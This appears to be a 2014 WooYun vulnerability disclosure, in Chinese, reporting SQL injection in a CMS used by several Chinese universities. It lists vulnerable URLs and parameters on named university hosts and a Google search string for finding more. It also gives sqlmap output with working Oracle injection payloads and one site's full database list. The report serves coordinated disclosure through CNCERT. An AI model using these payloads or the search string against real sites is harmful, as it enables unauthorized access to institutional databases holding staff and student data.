当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071081

漏洞标题:某高校通用CMS存在SQL注入

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2014-08-05 15:23

修复时间:2014-11-03 15:24

公开时间:2014-11-03 15:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-05: 细节已通知厂商并且等待厂商处理中
2014-08-10: 厂商已经确认,细节仅向厂商公开
2014-08-13: 细节向第三方安全合作伙伴开放
2014-10-04: 细节向核心白帽子及相关领域专家公开
2014-10-14: 细节向普通白帽子公开
2014-10-24: 细节向实习白帽子公开
2014-11-03: 细节向公众公开

简要描述:

详细说明:

贵州大学主站http://www.gzife.edu.cn/portal

Snap1.jpg


注入点:http://portal.gzife.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/showInfoDetail_home.jsp?infoId=56415&config_id=23366

Snap2.jpg


Snap3.jpg


开始扩大范围
Google关键字eapdomain/static/component/cms/cmp_cms_pim_show

Snap4.jpg


大概收集到这几个

http://portal.ruc.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/showInfoDetail.jsp?infoId=6377&config_id=5168
http://info.pumc.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/showInfoDetail.jsp?infoId=11665&config_id=5039
http://portal.shfc.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/showMoreInfoList.jsp?configId=15715
http://portal.cupes.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/noteDetailShow.jsp?noteId=18896
http://info.btbu.edu.cn:8080/eapdomain/static/component/cms/cmp_cms_pim_show/infoList.jsp?ID=5586
http://xgb.uibe.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/showInfoDetail.jsp?infoId=6227&config_id=8340


不会构造关键字,也许没有找全,上述中有一些可能不行
还有一些需要登录后才能访问
如http://portal.dlut.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/showFileInfo.jsp?infoId=306395&config_id=4747
http://portal.shisu.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/showInfoDetail.jsp?infoId=27491&config_id=22088

漏洞证明:

http://portal.gzife.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/showInfoDetail_home.jsp?infoId=56415&config_id=23366 贵州财经大学

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: config_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: infoId=56437&config_id=23366 AND 3531=3531
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: infoId=56437&config_id=23366 AND 9967=(SELECT UPPER(XMLType(CHR(60)
||CHR(58)||CHR(113)||CHR(104)||CHR(121)||CHR(116)||CHR(113)||(SELECT (CASE WHEN
(9967=9967) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(117)||CHR(119)||CHR(103
)||CHR(113)||CHR(62))) FROM DUAL)
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: infoId=56437&config_id=-3984 UNION ALL SELECT NULL,CHR(113)||CHR(10
4)||CHR(121)||CHR(116)||CHR(113)||CHR(100)||CHR(99)||CHR(97)||CHR(113)||CHR(119)
||CHR(114)||CHR(87)||CHR(88)||CHR(110)||CHR(76)||CHR(113)||CHR(117)||CHR(119)||C
HR(103)||CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: infoId=56437&config_id=23366 AND 5820=DBMS_PIPE.RECEIVE_MESSAGE(CHR
(105)||CHR(120)||CHR(117)||CHR(86),5)
---


web application technology: Servlet 2.5, JSP 2.1
back-end DBMS: Oracle


数据库

available databases [66]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] DCP
[*] DCP_APPS
[*] DCP_CMS
[*] DCP_EDP
[*] DCP_PORTAL
[*] DCP_SNS
[*] EXFSYS
[*] FLOWS_FILES
[*] ICDC_BG
[*] ICDC_BI
[*] ICDC_CW
[*] ICDC_DM
[*] ICDC_EDU_REPORT
[*] ICDC_JG
[*] ICDC_JX
[*] ICDC_KQ
[*] ICDC_KY
[*] ICDC_LOG
[*] ICDC_ODS
[*] ICDC_REPORT
[*] ICDC_TS
[*] ICDC_TYWS
[*] ICDC_UTIL
[*] ICDC_WSTB
[*] ICDC_WSTB_NEW
[*] ICDC_XS
[*] ICDC_XX
[*] ICDC_ZC
[*] LBACSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SEAS715
[*] SMS
[*] SMSNEW
[*] SNPM
[*] SNPM_GJ
[*] SNPW
[*] SNPW_GJ
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] URP_AHU
[*] URP_COMMON
[*] URP_GZIFE
[*] URP_INFORMATION
[*] URP_INSU
[*] URP_PARTTIMEJOB
[*] URP_POSTDOC
[*] URP_RECRUIT
[*] URP_STAFF
[*] URP_STANDARD
[*] URP_SUB
[*] URP_SYSTEM
[*] URP_TEACHER
[*] URP_WAGE
[*] WMSYS
[*] XDB
[*] YKT


--------
http://xgb.uibe.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/showInfoDetail.jsp?infoId=6227&config_id=8340 对外经济贸易大学学工网

---
Place: GET
Parameter: config_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: infoId=6227&config_id=8340 AND 2389=2389
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: infoId=6227&config_id=8340 AND 9745=(SELECT COUNT(*) FROM ALL_USERS
T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
---


web application technology: Servlet 2.5, JSP, JSP 2.1
back-end DBMS: Oracle


Snap5.jpg


---------
http://portal.shfc.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/showInfoDetail.jsp?infoId=18230&config_id=15715 上海金融学院

---
Place: GET
Parameter: configId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: configId=15715 AND 2128=2128
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: configId=15715 AND 6665=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(81)
||CHR(84)||CHR(81),5)
---
web application technology: Servlet 2.5, JSP 2.1
back-end DBMS: Oracle


----------
http://portal.ruc.edu.cn/eapdomain/static/component/cms/cmp_cms_pim_show/showInfoDetail.jsp?infoId=6377&config_id=5168 中国人民大学

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: config_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: infoId=6377&config_id=5168 AND 8103=8103
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: infoId=6377&config_id=5168 AND 7245=(SELECT COUNT(*) FROM ALL_USERS
T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
---
web application technology: Servlet 2.5, JSP 2.1
back-end DBMS: Oracle


修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-08-10 09:29

厂商回复:

c

最新状态:

暂无